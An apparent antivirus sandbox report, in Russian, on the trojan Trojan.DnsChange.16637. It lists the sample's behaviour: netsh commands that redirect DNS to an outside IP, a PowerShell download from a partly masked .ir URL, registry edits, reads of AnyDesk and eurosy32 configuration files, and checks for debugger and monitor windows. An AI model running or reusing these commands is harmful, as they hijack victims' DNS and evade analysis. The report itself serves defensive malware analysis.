Trojan.DnsChange.16637

Техническая информация

Вредоносные функции

Для затруднения выявления своего присутствия в системе

изменяет следующие системные настройки:

Изменяет DNS-сервер на '<DNS_SERVER>'
Изменяет DNS-сервер на '185.128.139.29'

Загружает

http://www.sp###check.ir/

Ищет следующие окна с целью

обнаружения утилит для анализа:

ClassName: 'OLLYDBG', WindowName: ''
ClassName: 'GBDYLLO', WindowName: ''
ClassName: 'pediy06', WindowName: ''
ClassName: 'FilemonClass', WindowName: ''
ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
ClassName: 'RegmonClass', WindowName: ''
ClassName: '', WindowName: 'Registry Monitor - Sysinternals: www.sysinternals.com'

Сетевая активность

TCP

Другие

'<DNS_SERVER>':53

UDP

DNS ASK microsoft.com

Другое

Ищет следующие окна

ClassName: '18467-41' WindowName: ''

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c @for /f "delims=" %1 in ('dir /s /b "%ProgramFiles(x86)%\MAHA\eurosy32.exe"') do @echo %~dp1
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v InitialWin /t reg_dword /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c REG QUERY "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\EVENT VIEWEr" /V "MicrosoftRedirectionURL"| find /i "REG_SZ"
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=3 delims=><" %1 in ('POWERSHELL -COMMAND ^(NEW-OBJECT SYSTEM.NET.WEBCLIENT^).DOWNLOADSTRING^('http://www.sp###check.ir/'^) ^| find /i "h2 class="') do @echo %1
'%WINDIR%\syswow64\reg.exe' QUERY "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\EVENT VIEWEr" /V "MicrosoftRedirectionURL"
'%WINDIR%\syswow64\find.exe' /i "REG_SZ"
'%WINDIR%\syswow64\cmd.exe' /c wmic nic where "NetConnectionStatus=2" get NetConnectionID /format:value
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v FinalApp /t reg_dword /d 0 /f
'%WINDIR%\syswow64\wbem\wmic.exe' nic where "NetConnectionStatus=2" get NetConnectionID /format:value
'%WINDIR%\syswow64\netsh.exe' interface ip add dns name="Local Area Connection" addr=8.8.8.8 index=2
'%WINDIR%\syswow64\findstr.exe' /s "^" "backup\es_in\*.txt"
'%WINDIR%\syswow64\cmd.exe' /c POWERSHELL -COMMAND (NEW-OBJECT SYSTEM.NET.WEBCLIENT).DOWNLOADSTRING('http://www.sp###check.ir/') | find /i "h2 class="
'%WINDIR%\syswow64\find.exe' /i "[DATAOUT]"
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v FinalApp1 /t reg_dword /d 0 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v EncApp /t reg_dword /d 0 /f
'%WINDIR%\syswow64\find.exe' /i "h2 class="
'%WINDIR%\syswow64\cmd.exe' /c @echo Local Area Connection
'%WINDIR%\syswow64\cmd.exe' /c @type "%ALLUSERSPROFILE%\Anydesk.bin"
'%WINDIR%\syswow64\cmd.exe' /c findstr /s "^" "backup\es_in\*.txt"| find /i "[DATAOUT]"
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v WinInstrument /t reg_dword /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c echo SQLEUROSYSTEM.ini| find /i "7"
'%WINDIR%\syswow64\cmd.exe' /c dir /s /b "%ProgramFiles(x86)%\MAHA\eurosy32.exe"
'%WINDIR%\syswow64\cmd.exe' /c for /f "tokens=1 delims=:" %1 in ('findstr /n "^" "eurosy32.ini" ^| find /i "PATH_SaveIn="') do @echo %1 > "f2" && @for /f %5 in ('type "f2"') do @echo %5 && (@for /f "tokens=1* delims=:" %...
'%WINDIR%\syswow64\cmd.exe' /c @reg add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v upsv /t reg_dword /d 0 /f & @reg add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v WinLic /t reg_dword /d 0 /f & @reg add HKLM\SOFT...
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=*" %1 in ('@echo "SQLEUROSYSTEM.ini"') do @for %2 in (%~1) do @for /f "tokens=*" %8 in ('echo %2^| find /i "7"') do @if /i %8 geq 720 (@for /f "tokens=2 delims==" %1 in ('@fi...
'%WINDIR%\syswow64\cmd.exe' /c findstr /n "^" "eurosy32.ini" | find /i "PATH_SaveIn="
'%WINDIR%\syswow64\cmd.exe' /c @echo "SQLEUROSYSTEM.ini"
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v upsv /t reg_dword /d 0 /f
'%WINDIR%\syswow64\find.exe' /i "PATH_SaveIn="
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v ProxyPL /t reg_dword /d 0 /f
'%WINDIR%\syswow64\findstr.exe' /n "^" "eurosy32.ini"
'%WINDIR%\syswow64\find.exe' /i "7"
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo SQLEUROSYSTEM.ini"
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v WinLic /t reg_dword /d 0 /f
'%WINDIR%\syswow64\reg.exe' add HKLM\SOFTWARE\Microsoft\EventSystem\Eventlog /v RtxQery /t reg_dword /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=3" %1 in ('REG QUERY "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\EVENT VIEWEr" /V "MicrosoftRedirectionURL"^| find /i "REG_SZ"') do @echo %~1
'%WINDIR%\syswow64\cmd.exe' /c for /f "tokens=3 delims=:" %1 in ('findstr /s "^" "backup\es_in\*.txt"^| find /i "[DATAOUT]"') do @echo %1
'%WINDIR%\syswow64\cmd.exe' /c @for /f "tokens=2 delims==" %1 in ('wmic nic where "NetConnectionStatus=2" get NetConnectionID /format:value') do @for /f "delims=" %2 in ('@echo %1') do (netsh interface ip add dns name="%...
'%WINDIR%\syswow64\netsh.exe' interface ip add dns name="Local Area Connection" addr=185.128.139.29 index=1